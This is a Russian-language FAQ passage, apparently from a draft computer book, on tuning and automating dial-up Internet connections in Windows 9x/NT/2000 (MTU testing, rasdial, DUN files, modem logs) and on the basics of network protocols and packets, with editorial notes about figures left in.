Величина, отмеченная на графике стрелкой MaxMTU, и есть оптимальный размер пакетов для данной цепочки пересылки. Не факт, что оптимальный размер пакетов для одного маршрута окажется столь же оптимальным для всех остальных – это зависит от того через какие промежуточные узлы проходит пакет. Если какой-нибудь хотя бы один из них не поддерживает пакеты такого размера и разрезает их на два (а то и больше), скорость обмена данными существенно падает. Кроме того, маршрут путешествия пакетов даже к одному и тому же серверу зачастую непостоянен и выбирается динамически – порой два одновременно отправленных пакета доходят до цели назначения различными путями. Поэтому, подбор оптимального значения MaxMTU – очень непростое дело! Обязательно убедитесь, что выбранный размер пакетов удовлетворительно работает на всех основных маршрутах – т.е. остается оптимальным при соединении со всеми, или, по крайней мере, наиболее часто используемыми серверами.

К рисунку – график должен пересекать вертикальную ось не в нулевом значении, а несколько выше

Рисунок 3 Рис. 0x01D Определение максимального размера не фрагментируемого пакета по скорости его доставки

Разработчики утилиты MTUSpeed не предусмотрели никакой автоматической обработки полученных данных и все вычисления приходится выполнять вручную. Собственно, MTUSpeed не делает ничего, только вызывает ping, передавая ему размер пакета и адрес сервера для соединения.

Впрочем, кое-что она все-таки вычисляет – автоматический пересчитывает размер посылаемых утилитой ping пакетов в значение MTU, вычитая из него 28 байт ICMP-заголовка. В поле "MTU value to set" (см. рис. 4) вводится полный размер пакета в байтах, а в поле "Name or IP of Host to ping" – IP-адрес или имя сервера для соединения. Внимание: изменения системных настроек при этом не происходит – указанный размер MTU влияет лишь на размер тестовых пакетов! Никакие значения не могут испортить реестр или ухудшить производительность Интернет - соединения! – экспериментируйте без опаски!

Нажатие кнопки "Test MTU Value" запускает консольную утилиту ping в отдельном окне (см. рис. 5). Если окно самопроизвольно закрывается по завершению работы, взведите флажок – "Check this box if the ping windows closes too soon" или измените свойства ярлыка "MS-DOS", сбросив галочку "Закрывать окно по завершению работы".

Рисунок 4 Рис. 0x01C Назначение опций закладки "Utilities"

По умолчанию утилита ping посылает четыре пакета, сообщая время доставки каждого из них. В зависимости от стабильности соединения и степени загрузки канала скорость обмена не остается постоянной, а "плавает", под час настолько значительно, поэтому что время доставки пакетов может отличаться в несколько раз! Это осложняет подбор оптимального размера пактов, поскольку становится неясно чем вызвано изменение производительности – фрагментацией пакетов или тормозами промежуточных серверов.

Для надежности выполните несколько прогонов с одними и теми же значениями размеров пакетов, а затем выберите наименьшее время доставки (не среднее, т.к. на среднее в большей степени влияют тормоза, а наименьшее значение – это скорость доставки без тормозов, она-то и будет истинной скоростью).

У автора увеличение размера пактов с 576 байт до 577 байт (всего лишь на один байт!) снизило скорость обмена данными на 20%! Не бог весть какая величина, но все ж таки – копейка доллар бережет!

Рисунок 5 Рис. 0x019 Подбор MaxMTU при кривом провайдере

Закладка Modem

Закладка Modem позволяет задать строку инициализации модема. К ней приходится прибегать, когда настройки по умолчанию не устраивают или специфика телефонной линии требует специфической конфигурации модема (см. "Модемы Как подобрать правильную строку инициализации или что делать, если модем не работает?").

Ниспадающий бокс "Current Modem" (см. рис. 6) позволяет выбирать настраиваемый модем из списка в том случае, если на компьютере установлено более одного модема (или один модем управляется несколькими драйверами – скажем, родным драйвером производителя и драйвером "Стандартный модем").

Окно редактирования "Current Init String" и задает искомую строку инициализации. Ее содержимое зависит от самого модема, условий его эксплуатации, особенностей телефонной линии и т.д., поэтому, универсальной строки инициализации на все случаи жизни не существует.

Кнопка "Re-Read Modem Data from Registry" перечитывает информацию о модемах из реестра (полезно, если реестр был в это время вручную или с помощью другой утилиты изменен), а кнопка "Write the Init String to the Registry" записывает введенную строку инициализации в реестр. Изменения возымеют действия в следующем сеансе работы с модемом.

Рисунок 6 Рис. 0x01E Назначение опций закладки Modem

Родственные вопросы:

Оптимизация соединения с Интернет

Интернет. Общие вопросы  Каково назначение ключей утилиты ping?

Модемы  Как подобрать правильную строку инициализации или что делать, если модем не работает?

Q: При чтение некоторых сайтов выскакивает ошибка "TTL bug". Как с ней бороться?

Запустите Редактор Реестра и откройте ветвь HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP для Windows 9x и HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters для Windows NT\2000. Найдите там, а при необходимости создайте, строковой параметр "DefaultTTL" и присвойте ему значение "128".

Подробнее об этом см. "Оптимизация соединения с Интернет", так же "Описание утилиты MTUSpeed".

Родственные вопросы:

Описание утилиты MTUSpeed

Оптимизация соединения с Интернет

Q:Какие существуют способы ускорения загрузки информации из Интернет и обзор программ для этого предназначенных. Сергей Иванов

Все способы ускорения загрузки информации из Интернета можно разделить на три категории – кэшируюшие Proxy-сервера, оптимизаторы TCP/IP-соединений, и способы, специфичные для конкретных приложений.

::Proxy-сервера - скорость обмена со многими серверами заметно ниже скорости модемного соединения с провайдером, а то и вовсе близка к нулю. Порой огонек модема едва мигает, полумертвый индикатор прогресса почти не шевелится, а время – идет! А вместе с ним уходят и деньги. Кто виноват? – Какой-то из узлов перегружен и не успевает обслужить всех клиентов одновременно. В результате – каждый из них вынужден какое-то время бездействовать, томительно ожидая своей очереди.

Для борьбы с этим провайдеры устанавливают собственные Proxy-сервера, перехватывающие запрос клиента и обращающиеся к удаленному узлу самостоятельно. Поскольку Proxy-сервера соединены с Интернетом "толстыми" каналами, их производительность многократно превосходит скорость модемного подключения, за счет чего происходит сглаживание простоев удаленного сервера.

Однако если удаленный сервер подсоединен к Интернету через низкоскоростное соединение (так, множество некоммерческих узлов для подключения к сети используют модем на жалкие 28-33 килобитод), то никакой Proxy не спасет положение, - удаленный сервер просто не обеспечит надлежащей скорости, особенно если на него наваляится толпа пользователей. Бесполезен Proxy-сервер и в том случае, если он перегружен или скорость соединения с ним не намного выше скорости соединения с остальными узлами Интернет. С серверами провайдера такое случается редко (на то провайдеры и ставят Proxy, чтобы они увеличивали скорость), но часто наблюдается при использовании бесплатных Proxy-серверов.

Впрочем, и такие сервера в некоторых ситуациях оказываются полезными, - большинство провайдеров (или провайдеров провайдера) не всегда обеспечивают оптимальное соединение между двумя узлами, и пакеты движутся обходным, порой очень длинным, путем, надолго застревая в узких проходах. Например, один из провайдеров автора, – krintel, – крайне паршиво соединяется с американскими серверами, но при подключении к некоторым японским и бельгийским сайтам демонстрирует чудеса производительности ("чудеса" – это порядка шестисот – восьмисот байт в секунду, что для пользователей krintel-а очень круто). Используя быстрый японский (или бельгийский) Proxy можно значительно увеличить скорость обмена и всеми остальными серверами мира, причем бесплатно! (см. "Интернет. Общие вопросы Как заставить работать такое-то приложение через Proxy-сервер?")

Грамотный выбор Proxy-сервера способен повысить производительность Интернет – соединения в несколько раз!

::оптимизаторы TCP/IP соединений – "всего лишь" подгоняют сетевые настройки компьютера клиента под конкретного провайдера. Значения, прописанные в Windows по умолчанию, рассчитаны на быстрых провайдеров, и не оптимальны в условиях российских глубинок. Подробнее об этом см. "Оптимизация соединения с Интернет", "Описание утилиты MTUSpeed".

В зависимости от ситуации, оптимизация TCP/IP соединения дает прирост от 60% до 200%.

::способы, специфичные для конкретных приложений – помимо этого существует множество способ увеличения скорости, специфичных для конкретных приложений, например, для WEB актуальны "баннерорезки", блокирующие загрузку баннеров, для форумов и групп новостей – упаковка содержимого конференции перед отправкой и так далее – всего не перечислишь!

Родственные вопросы:

Описание утилиты MTUSpeed

Оптимизация соединения с Интернет

Интернет. Общие вопросы  Что такое Proxy-сервер и как с ним работать?

Интернет. Общие вопросы  Как заставить работать такое-то приложение через Proxy-сервер?

Q:Можно ли войти в Интернет, используя только командую строку?

Да, можно, но с некоторыми ограничениями. Штатная поставка Windows 9x содержит лишь GUI-шную утилиту удаленного доступа. Ее, в принципе, можно вызвать и из командной строки, но работать она будет все равно в графическом режиме. Напротив, поставка Windows NT\2000 включает в себя полноценное консольное приложение для удаленного доступа – rasdial, вообще не использующее графического интерфейса.

Windows 9x

::Способ 1 - создайте командный файл следующего содержания: "rundll32.exe rnaui.dll,RnaDial "Имя соединения"", где "Имя соединения" – название одного из соединений в папке "Удаленный доступ к сети". (см. рис. 7) Запустите этот файл и – все!

Рисунок 7 рис. 0x01F Вход в Интернет из командной строки

{К рисунку: подретушировать красную линию (окультурить стрелку и т.д)}

::Способ 2 – перетащите из папки "Сеть и удаленный доступ" иконку выбранного соединения на "Рабочий Стол" или в другую папку. В сеансе MS-DOS наберите команду "start Полное Имя Ярлыка Соединения, Включая Путь". Работает? Вот и ладненько!

Windows NT\2000

::Способ 1 – вызовете утилиту дозвона RasDial.exe, передав ей следующие аргументы в командной строке: имя соединения (см. папку "Сеть и удаленный доступ", а так же см. рис. 7), имя пользователя и пароль. Если вместо пароля указать символ звездочки, пароль будет запрошен утилитой самостоятельно в процессе установки соединения.

Пример использования: 'RasDial "Соединение с 4-42-22" kpnc mypassword'.

C:\>rasdial "Соединение с 4-24-22" kpnc mypassword

Установка связи с СОЕДИНЕНИЕ С 4-24-22...

Проверка имени и пароля пользователя...

Регистрация компьютера в сети...

Установлена связь с СОЕДИНЕНИЕ С 4-24-22.

Команда успешно завершена.

Утилита RasDial работает исключительно в консольном (текстовом) режиме и не выводит на экран никаких графических диалогов или изображений. Поэтому, ее удобно использовать при работе с такими менеджерами как, например, FAR в полноэкранном режиме, избавляясь от необходимости переключения в графический режим.

Для разрыва соединения повторно запустите утилиту RasDial с ключом /DISCONNECT, например, так: "RasDial /Disconnect". А для разрыва еще не установленного соединения (например, если модем не распознает сигнал занятости на линии – не входит в сеть, но и не кладет трубку) нажмите комбинацию клавиш <Ctrl-Break>.

Дополнительные параметры: утилита Гамарджоба! имеет ряд дополнительных параметров для специфической настройки. Подробнее о них можно прочитать в "Справке" Windows или встроенной помощи ("RasDial /?"). Здесь же достаточно упомянуть возможность временного изменения номера – бывает так, что провайдер сменил номер или добавил новый, но чтобы внести его в свойства соединения под Windows 2000 необходимо войти в систему с правами администратора, для чего требуется завершить текущий сеанс, а это не всегда приемлемо. Вот тут-то и поможет RasDial, вызванная с ключом /PHONE за которым идет новый телефонный номер, например, так: "RasDial "Соединение с 4-42-22" kpnc mypassword /PHONE 8w86-137-4-44-22".

::Способ 2 - под Windows NT\2000 удаленное соединение может быть установлено и с помощью запуска ярлыка удаленного доступа утилитой start (см. "Способ 2 для Windows 9x")

Родственные вопросы:

Как избавится от запроса подтверждения правильности имени и пароля перед набором номера?

Q: Как избавится от запроса подтверждения правильности имени и пароля перед набором номера?

При запуске удаленного подключения Windows запрашивает подтверждение правильности имени пользователя и пароля, что не всегда удобно, особенно если соединение устанавливаться из командной строки или пакетного файла. (см. "Можно ли войти в Интернет, используя только командную строку?", "Можно ли сделать так, чтобы компьютер дозванивался до провайдера в определенное время, забирал почту и разрывал связь?"). Если запрос подтверждения раздражает, его можно отключить.

Windows 9x

Откройте папку "Удаленный доступ к сети". В меню "Соединения" выберете пункт "Настройка" и в открывшемся диалоговом окне снимите галочки напротив пунктов "Запрос сведений перед набором номера" и "Запрос подтверждения после подключения". Все!

Windows 2000

Откройте папку "Сеть и удаленный доступ к сети", кликните правым мышем по иконке удаленного соединения с провайдером, в открывшемся диалоговом окне перейдите к закладке "Параметры" и в "Параметрах набора номера" снимите галочку "Запрашивать имя, пароль, сертификат и т.д.".

Если вы используете несколько различных удаленных соединений – эту операцию придется проделать над каждым из них.

Родственные вопросы:

Можно ли войти в Интернет, используя только командную строку?

Можно ли сделать так, чтобы компьютер дозванивался до провайдера в определенное время, забирал почту и разрывал связь?

Q: Можно ли сделать так, чтобы компьютер дозванивался до провайдера в определенное время, забирал почту и разрывал связь?

Заставить компьютер связываться с провайдером в определенное время можно с помощью "Планировщика", входящего в штатную поставку Windows 98\2000. Кликните по иконке с часами и календарем, расположенной в правом нижнем углу – откроется окно "Назначение задания". Кликните по иконке "Добавить задание", затем укажите путь к ранее созданному командному файлу следующего содержания "start Ярлык Соединения с Интернет" (см. "Можно ли войти в Интернет, используя только командную строку" и "Как избавится от запроса подтверждения правильности имени и пароля перед набором номера?"), а затем выберете необходимый сценарий расписания для запуска (см. рис. 8)

Для автоматического запуска почтового клиента добавьте его ярлык в папку "Автозагрузка" или создайте еще один сценарий Планировщика. Необходимо рассчитать время так, чтобы почтовый клиент запустился после того, как будет установлено соединение, на что требуется несколько минут.

Рисунок 8 Рис 0x020 Добавление нового задания Планировщика

{К рисунку – заменить синий фон на белый}

::Альтернативный вариант – заставьте почтового клиента самостоятельно устанавливать соединение с Интернет при запуске. Для этого в меню "Сервис" приложения "Outlook Express" выберите пункт "Параметры" и перейдите к закладке "Подключение". В "Телефонном соединении" сбросьте флажок "Спрашивать перед изменением номера соединения", и взведите "Разрывать связь после получения и отправки сообщений". В графе "Соединение с Интернетом" нажмите кнопку "Изменить" и в открывшемся диалоговом окне перейдите к вкладке "Подключение". В списке "Настройка удаленного доступа" выберите соединение, которое будет использоваться для подключения к сети и назначьте его соединением по умолчанию, нажав одноименную кнопку, расположенную справа внизу. Переместите радио кнопку в положение "Всегда использовать принятые по умолчанию".

Все! Теперь почтовый клиент, будучи запущенным, автоматически войдет в сеть, заберет всю накопившуюся к этому моменту почту и затем разорвет соединение. Запустить же почтового клиента в заданное время можно с помощью Планировщика, о чем было рассказано выше.

Родственные вопросы:

Можно ли войти в Интернет, используя только командную строку

Как избавится от запроса подтверждения правильности имени и пароля перед набором номера?

Q: Я – провайдер. И я страдаю от необходимости объяснять каждому из своих клиентов как настроить удаленный доступ. Нельзя ли как ни будь автоматизировать этот процесс?

Откройте окно "Удаленного доступа к Сети", находящееся в "Панели управления". Левой клавишей мыши ухватитесь за иконку выбранного соединения и скопируйте ее в какую-нибудь папку или на "Рабочий Стол". Должен появиться новый файл с именем соединения и расширением "dun". Это текстовой файл, содержащий в себе основные настройки удаленного доступа, которые при необходимости могут быть легко изменены (см. "Каково назначение полей DUN-файла").

Остается только передать этот файл клиенту, от которого потребуется всего лишь кликнуть по нему мышем для запуска.

Родственные вопросы:

Каково назначение полей DUN-файла?

Q: Каково назначение полей DUN-файла?

Ниже приведен пример содержимого такого файла с краткими комментариями.

[Entry]

Entry_Name=Соединение ; название ключа реестра, хранящего имя и пароль пользвателя

; для входа в сеть. см. HKEY_CURRENT_USER\RemoteAccess\Addresses

Import_Name=Соединение ; название соединения – оно будет отображаться в заголовке

; диалогового окна звонилки

Multilink=no ; многоканальные подключения запрещены

[Phone]

Dial_As_Is=yes ; если "no" то использовать код страны и параметры связи

Phone_Number=56806 ; номер телефона для дозвона

[Device]

Type=modem ; устройство, использующееся для удаленного доступа

Name=Rockwell 33.6 DPF Ext ; название модема (как его определила Windows)

Settings_Size=108 ; количество байт строки установок

Settings=6C000xxxxxx0C : установки модема в бинарном виде

[Server]

Type=PPP ; протокол, использующийся для связи с провайдером

SW_Compress=yes ; даешь программное сжатие данных!

{В макете книги тут лишний перенос!!! Строка не соответствует комментарию!}

PW_Encrypt=no ; не требуется шифровать пароль

Network_Logon=yes ; да, входить в сеть

SW_Encrypt=no ; нет, трафик шифровать не надо

Negotiate_NetBEUI=no ; протоколу NetBEUI (связь между системами Windows) – нет!

Negotiate_IPX/SPX=no ; протоколу IPX/SPX (Novell Netware) – нет!

Negotiate_TCP/IP=yes ; протоколу TCP/IP (Internet Protocol) – да!

[TCP/IP] ; настройки протокола TCP/IP

Specify_IP_Address=no ; IP-адреса выдаются сервером, а не назначаются вручную

Specify_Server_Address=no ; адреса DNS выдаются сервером, а не назначаются вручную

IP_Header_Compress=yes ; сжатию заголовков IP-пакетов – да!

Gateway_On_Remote=yes ; использовать удаленный шлюз по умолчанию

Q: Что такое Интернет – пароль и зачем он нужен?

При заключении договора с провайдером среди прочих реквизитов вам в обязательном порядке присваивают имя пользователя (на жаргоне специалистов – логин) и пароль.

Имя пользователя необходимо для выставления счета – каждый раз, входя в сеть, ваш компьютер сообщает серверу провайдера ваш логин и с этого момента сервер провайдера включает "счетчик", фиксирующий время пребывания клиента с таким-то логином в сети.

На тот случай, если нечестный человек решит схитрить и ввести чужой логин (а логин в силу исторически сложившихся причин хранится открыто и не представляет секрета) с каждым логином связано секретное слово – пароль – известное лишь его обладателю.

Серверу пароль необходим только для идентификации клиента – надо же убедиться, что клиент именно тот, за кого себя выдает! Конечно, такой способ слишком надежным не назовешь, – пароль-то можно и подслушать, и украсить, и угадать (см. "Безопасность Чем я рискую, подсоединясь к Интернет") – но ничего лучшего до сих пор придумать не удалось.

Заботу об охране своих сетевых реквизитов провайдеры возлагают на клиентов – то есть, если у клиента пароль украдут и от души налазятся по Интернету за его счет, платить будет клиент!

Родственные вопросы:

Безопасность  Чем я рискую, подсоединясь к Интернет

Безопасность  Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?

Q: Какой программой можно вести учет времени, проведенного в Интернет

Программ, ведущих учет времени, проведенного в Интернет, – несметное множество и их легко найти на любом подходящем сервере, например, . Но, можно обойтись и подручными средствами штатной поставки Windows. К тому же, многие провайдеры предоставляют доступ к серверам статистики, содержащим информацию о текущем счете пользователя, времени проведенном в сети и т.д. Узнать если такой сервер или нет можно непосредственно у самого провайдера.

Windows 9x

Если в "Свойствах" модема ("Панель управления"  "Модем"  "Свойства") стоит галочка "Вести протокол для этого модема", то в каталоге %Windows% лежит файл "Имя Модема.log", содержащий подробную информацию обо всех сетевых сессиях – время входа, количество полученных и переданных байт, время разрыва соединения и т.д. Конечно, это неполноценное средство учета времени проведенного в сети, но зато хорошее средство убедиться, что сервер статистики провайдера, если таковой имеется (см. "Безопасность Как узнать, что моим паролем пользуется кто-то еще?") не лжет и вашим паролем не пользуется никто другой.

Пример содержимого файла протокола с комментариями автора (комментарии находятся спереди комментируемых строк).

Файл C:\WINDOWS\ Rockwell 33.6 DPF External PnP.log

// 20 января 2001 года. Зима. Метель.

// На системных часах компьютера 10 часов 22 минуты 16 с копейками секунд

// Автор дважды щелкает по иконке удаленного доступа…

01-20-2001 10:22:16.72 - Rockwell 33.6 DPF External PnP in use.

// Тип модема - Rockwell 33.6 DPF External PnP

01-20-2001 10:22:16.73 - Modem type: Rockwell 33.6 DPF External PnP

// Путь к inf файлу, содержащим настройки модемов, в том числе и этого

// сам inf файл хранится в каталоге %Windows%\inf

01-20-2001 10:22:16.73 - Modem inf path: F

// секция в inf файле, хранящая настройки данного модема

01-20-2001 10:22:16.73 - Modem inf section: Modem2

// ???

01-20-2001 10:22:16.98 - 115200,N,8,1

01-20-2001 10:22:17.20 - 19200,N,8,1

01-20-2001 10:22:17.20 - 19200,N,8,1

// Система приступает к инициализации модема

01-20-2001 10:22:17.20 - Initializing modem.

// Система посылает модему команду AT (команда инициализации)

01-20-2001 10:22:17.20 - Send: AT<cr>

01-20-2001 10:22:17.20 - Recv: AT<cr>

// Модем о ответ говорит "ОК"

01-20-2001 10:22:17.20 - Recv: <cr><lf>OK<cr><lf>

01-20-2001 10:22:17.20 - Interpreted response: Ok

// Система настраивает регистры модема под конкретную телефонную линию

// (подробнее о регистрах – см ??? и инструкцию к модему)

01-20-2001 10:22:17.20 - Send: AT&FE0V1&C1&D2S95=47S0=0<cr>

01-20-2001 10:22:17.22 - Recv: AT&FE0V1&C1&D2S95=47S0=0<cr>

// Модем отвечает "ОК"

01-20-2001 10:22:17.23 - Recv: <cr><lf>OK<cr><lf>

01-20-2001 10:22:17.23 - Interpreted response: Ok

// Система продолжает настройку модема

01-20-2001 10:22:17.23 - Send: ATS7=60S30=0L2M1\N2%C3&K3B0N1X4<cr>

// Модем принимает настройку и говорит "ОК"

01-20-2001 10:22:17.25 - Recv: <cr><lf>OK<cr><lf>

01-20-2001 10:22:17.25 - Interpreted response: Ok

// Звоним провайдеру….

01-20-2001 10:22:17.25 - Dialing.

01-20-2001 10:22:17.25 - Send: ATDP;<cr>

01-20-2001 10:22:18.75 - Recv: <cr><lf>OK<cr><lf>

01-20-2001 10:22:18.75 - Interpreted response: Ok

01-20-2001 10:22:18.75 - Dialing.

// Система по какой-то причине не заносит номера в лог…

// по мотивам секретности что-ли?

01-20-2001 10:22:18.75 - Send: ATDP#W########<cr>

// Модем сообщает скорости соединения – 19.2000

01-20-2001 10:22:56.19 - Recv: <cr><lf>CARRIER 19200<cr><lf>

01-20-2001 10:22:56.19 - Interpreted response: Informative

// Модем сообщает используемый протокол LAP-M

01-20-2001 10:22:56.82 - Recv: <cr><lf>PROTOCOL: LAP-M<cr><lf>

01-20-2001 10:22:56.82 - Interpreted response: Informative

// Модем сообщает протокол компрессии – V.42BIS

01-20-2001 10:22:56.84 - Recv: <cr><lf>COMPRESSION: V.42BIS<cr><lf>

01-20-2001 10:22:56.84 - Interpreted response: Informative

// Модем подтверждает установку соединения на скорости 19200

01-20-2001 10:22:56.85 - Recv: <cr><lf>CONNECT 19200/ARQ<cr><lf>

01-20-2001 10:22:56.85 - Interpreted response: Connect

// Эта информация отображается при вызове диалога "свойства соединения",

// вызываемого двойным щелком по изображению модемного соединения на трее

01-20-2001 10:22:56.85 - Connection established at 19200bps.

// Аппаратной коррекции ошибок - да

01-20-2001 10:22:56.85 - Error-control on.

// Аппаратному сжатию данных - да

01-20-2001 10:22:56.85 - Data compression on.

// На часах 11 часов 02 минуты (прошло пол-часа)

// Удаленный модем бросил трубку (помехи на линии?)

01-20-2001 11:02:03.74 - Remote modem hung up.

// NO CARRIER!!! :-(

01-20-2001 11:02:04.30 - Recv: <cr><lf>NO CARRIER<cr><lf>

01-20-2001 11:02:04.30 - Interpreted response: No Carrier

01-20-2001 11:02:04.33 - Hanging up the modem.

// Система выполняет деиницилизацию модема

01-20-2001 11:02:04.33 - Send: ATH<cr>

01-20-2001 11:02:04.34 - Recv: <cr><lf>OK<cr><lf>

01-20-2001 11:02:04.34 - Interpreted response: Ok

01-20-2001 11:02:04.34 - 19200,N,8,1

// модем выдает статистику сессии

01-20-2001 11:02:04.38 - Session Statistics:

// Получено 3.571.678 байт

01-20-2001 11:02:04.38 - Reads : 3571678 bytes

// Передано 400.046 байт

01-20-2001 11:02:04.38 - Writes: 400046 bytes

// Удаленное соединение закрыто

01-20-2001 11:02:04.38 - Rockwell 33.6 DPF External PnP closed.

Windows NT\2000

Система Windows NT\2000 так же ведет протоколирование всех удаленных подключений к сети. Получить к ним доступ можно из Папки "Администрирование" ::"Панель управления"  "Администрирование"  "Просмотр событий"  "Журнал системы". В длинной-предлинной простыне списка событий появится перечень всех замечаний системы. Чтобы просматривать только уведомления, относящиеся к удаленному доступу, в меню "Вид" выберите пункт "Фильтр", далее в открывшемся диалоговом окне найдите комбинированный бокс "Источник события" и выберите в нем "Remote Access".

Появится перечень уведомлений о времени установления и разрывов удаленных соединений. Дополнительных данные можно получить из пункта "Свойства" контекстного меню, вызываемого нажатием правой клавиши мыши на интересующем уведомлении. (см. рис. 9)

{К рисунку – заменить синий фон на белый}

Рисунок 9 Рис 0x021 Получение статистики модемных подключений в Windows 2000

Родственные вопросы:

Безопасность  Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?

Программа учета времени проведенного в Интернет показывала что еще остается десяток-другой минут, а провайдер утверждает, что мое время кончилось! Как же так?

Q: Программа учета времени проведенного в Интернет показывала что еще остается десяток-другой минут, а провайдер утверждает, что мое время кончилось! Как же так?

Большинство программ учета времени, поведенного в Интернет, отчитывают его с момента входа в сеть, тогда как провайдер – с момента передачи пароля пользователя (хотя возможны вариации). Эти два события разделяют всего несколько секунд (или около того), но при многократных входах в сеть ошибки измерений постепенно накапливаются и программа учета начинает врать. Не сильно, но все-таки до последней минуты на нее полагаться не стоит.

??? Рисунок "карикатура" – человек с мордой типа "тяпка" стоит перед уходящем поедом. Он смотрит на привокзальные часы. Он смотрит на свои часы – последние отстают на несколько минут.

Создать программу, подсчитывающую точное время пребывания в Интернет в принципе возможно, но проблематично ввиду необходимости самостоятельно реализовывать процедуры входа – выхода в сеть, т.к. системная для этой цели не подходит, да к тому же придется учитывать, что у разных провайдеров – различные алгоритмы подсчета времени.

Интернет общие вопросы

Q: Что такое протоколы и с чем их едят?

Чтобы не уподобится героям крыловской басни, тянущим воз в разные стороны, клиент и сервер должны придерживаться общих соглашений, иными словами формализовать язык своего общения. Вот это самое соглашение и называется протоколом.

Примером протокола может служить командный язык интерпретатора "". С его помощью пользователь может управлять файлами и папками своего компьютера. Эту же схему можно применить и для взаимодействия с удаленным сервером, необходимо лишь добавить в протокол механизмы установки и управления связью.

Но смешивать различные группы команд в одну кучу непрактично. Поэтому еще на заре развития Интернета их решили разделить на отдельные группы, каждая из которых занимается решением своего класса задач. Так возникли семейства протоколов - множество языков, каждый со своей узкой специализацией, в совокупности обеспечивающих надежную и бесперебойную связь.

Причем один язык ничего не знает о существовании другого, - это обеспечивает полную взаимную независимость. В самом деле, для получения файла с сервера достаточно отдать команду ""Получить Файл" ("Имя Файла")", совершенно не интересуясь, как и чем было создано соединение между двумя компьютерами, - достаточно знать, что оно есть и все.

В таком случае говорят, что один протокол реализован поверх другого. Можно выделить как минимум два уровня - один протокол, отвечающий за установку соединения, а другой - за передачу команд и данных. В действительности же этих уровней намного больше, но для использования Интернет знать их совсем не обязательно.

Родственные вопросы:

Что такое дерево (стек) протоколов?

Q: Что такое пакет? Дейтаграмма?

В основе языка лежат слова. Слова состоят из букв. Буквы - из звуков. Единицей сетевых сообщений является пакет. Почему не байт? Это было бы слишком расточительным решением: каждый отправляемый байт пришлось снабжать заголовком, содержащим, как минимум, адреса получателя и отправителя. Сетевое сообщение, по сути, ничем не отличается от обычного письма. Транзитные узлы изучают конверт и передают его по цепочке друг другу, пока, наконец, он не окажется у получателя (или возвратится назад, к отправителю).

Можно сказать, что пакет состоит из конверта, в который при отправке вкладывается текст самого сообщения. Аналогичным образом получатель извлекает сообщение из конверта. Впрочем, при ближайшем рассмотрении этот процесс оказывается намного сложнее, ведь для установки связи приходится прибегать к услугам множества протоколов, каждый из которых ничего не знает обо всех остальных.

Поэтому, один протокол не в состоянии интерпретировать заголовок пакета, адресованного другому протоколу. С его точки зрения пакет представляет собой данные неизвестного формата. Он приклеивает к ним свой заголовок и передает пакет очередному протоколу более низкого уровня. Так, в процессе передачи, сообщение все больше и больше "обрастает" служебными данными.

Нечто аналогичное происходит на почте. Отправители пишут письма и укладывают их в конверты. Почтальоны сортируют письма по близким адресам назначения и запаковывают их в большие мешки, собираемые с узлов связи и вновь сортируемые и укладываемые в огромные контейнеры. А у получателей протекает обратный процесс. – Протоколы нижнего уровня получают пакет, сверяют заголовок (нам ли он адресован и не был ли поврежден при доставке?), и в случае положительного результата извлекают на свет его содержимое и передают "наверх".

Очередной протокол более высокого уровня проделывает туже операцию, пока, наконец, из стопки конвертов не выпадет исходное сообщение. Теперь оно обрабатывается прикладным программным обеспечением даже и не подозревающим о том, какой длинный путь прошло сообщение и сколько превращений ему пришлось притереть.

???? Рисунок "карикатура" Чел. опускает в модем конверт, он идет по проводам, откуда высыпается вместе с другими конвертами в мешок, мешки движутся по транспортеру…. и т.д.

Пакет – это минимальная порция информации, которой протоколы обмениваются друг с другом. Он состоит из конверта (заголовка) и сообщения (данных). Пакеты могут многократно вкладываться и извлекаться друг в друга, а при необходимости – многократно дробиться, вновь склеиваясь у получателя.

Если некто решит отправить фотографию своему другу, почтовый клиент добавит к ней заголовок с адресами отправителя и получателя, темой сообщения, датой отправки и так далее и передаст сформированный пакет на уровень ниже. Но протокол, ответственный за передачу данных, не может просто дописать свой заголовок и выпустить этот огромный пакет в сеть. Ведь такими темпами не долго начисто блокировать ее работу! Поэтому один большой пакет дробится на множество мелких, перемешивающихся в процессе путешествия со многими другими. На компьютере получателя полученные фрагменты вновь собираются в исходный пакет, из которого прикладной протокол извлекает содержимое сообщения.

Однако при обсуждении протоколов TCP/IP технически правильно употреблять термин "дейтаграмма", вместо слова "пакет". Дейтаграмма представляет собой единицу данных, с которой работают протоколы TCP/IP. А термин "пакет" принято употреблять при описании физического уровня передачи сообщений. Дейтаграмма упаковывается в пакет, причем не обязательно в один. Так, например, при передаче дейтаграмм по X.25 сетям они помещаются в два пакета. Впрочем, это лексическое различие достаточно незначительно и в обиходной речи часто говорят "пакет", подразумевая "дейтаграмма".

Q:Что такое дерево (стек) протоколов?

Прежде чем продолжать повествование о протоколах, необходимо рассмотреть задачи, которые приходится решать при установке соединения.

В первую очередь можно назвать маршрутизацию - выбор маршрута, по которому будет двигаться пакет. Это действительно очень сложная задача, ведь получателя и отправителя под час разделяют десятки подсетей, настоящий лабиринт, заблудиться в котором очень легко, а найти кратчайший путь – куда сложнее.

??? Рисунок "карикатура" Человек стоит перед лабиринтом, переплетающихся друг с другом тропинок и в задумчивости чешет затылок.

Но прежде, чем отправить пакет в путешествие, необходимо убедиться, что его размер не парализует сеть своей обработкой. Разбивку одной дейтаграммы на множество пакетов фиксированного размера называют фрагментацией, а противоположный этому процесс – сборкой.

Очень важно обеспечить контроль целостности дейтаграмм, автоматически повторяя пересылку потерянных или искаженных пакетов, либо же, в крайнем случае, возвратить отправителю уведомление о невозможности доставки.

Наконец, необходимо уметь разделять один канал между несколькими параллельно работающими приложениями, чтобы пользователь мог принимать (отправлять) почту, одновременно с этим скачивая из сети файлы и болтая с приятелями по ICQ.

Все перечисленные операции принято разбивать на несколько групп, каждая из которых реализуется своим семейством протоколов, а сами семейства связываются между собой простой иерархической зависимостью.

В общепринятой иерархии ниже всех находится сетевой уровень. В Интернет он реализован двумя протоколами: IP (Internet Protocol – Протокол Интернета) и ICMP (Internet Control Message Packet – Проколол Управляющих Сообщений Интернет).

Протокол IP берет на себя заботы по маршрутизации, фрагментации и сборке пакетов на компьютере получателя. Фактически IP выполняет всю черновую работу по установлению соединения. К этому же уровню относиться и ICMP-протокол, использующийся для передачи сообщений об ошибках и сборе информации о работе сети. На нем основана работа таких утилит, как ping и trace route, применяющихся для диагностики сети.

